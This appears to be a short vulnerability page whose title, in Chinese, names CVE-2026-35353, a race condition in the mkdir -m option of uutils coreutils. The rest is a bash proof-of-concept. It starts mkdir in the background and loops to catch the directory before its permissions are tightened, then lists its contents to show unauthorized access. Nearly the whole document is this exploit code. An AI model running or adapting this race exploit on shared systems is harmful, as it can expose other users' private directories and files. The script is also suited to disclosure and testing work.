CVE-2026-35353 uutils coreutils权限设置竞争漏洞

#!/bin/bash # PoC for CVE-2026-35353: Race condition in uutils mkdir -m # This script demonstrates checking for the window between mkdir and chmod. TARGET_DIR="/tmp/vuln_poc_$$" # Cleanup function cleanup() { rm -rf "$TARGET_DIR" } trap cleanup EXIT echo "[+] Starting PoC for CVE-2026-35353" echo "[*] Creating directory with 'mkdir -m 700'..." # Start the mkdir command in background to simulate the race # In a real scenario, this would be run by a victim user. mkdir -m 700 "$TARGET_DIR" & PID=$! # Attacker loop trying to access the directory immediately while kill -0 $PID 2>/dev/null; do if [ -d "$TARGET_DIR" ]; then # Check current permissions PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) # If permissions are not 700 yet, the window is open if [ "$PERMS" != "700" ]; then echo "[!] VULNERABLE WINDOW DETECTED! Permissions: $PERMS" ls -ld "$TARGET_DIR" # Try to list contents (simulating unauthorized access) ls "$TARGET_DIR" 2>/dev/null && echo "[!] Successfully accessed directory!" break fi fi done wait $PID FINAL_PERMS=$(stat -c %a "$TARGET_DIR" 2>/dev/null) echo "[*] Final permissions: $FINAL_PERMS"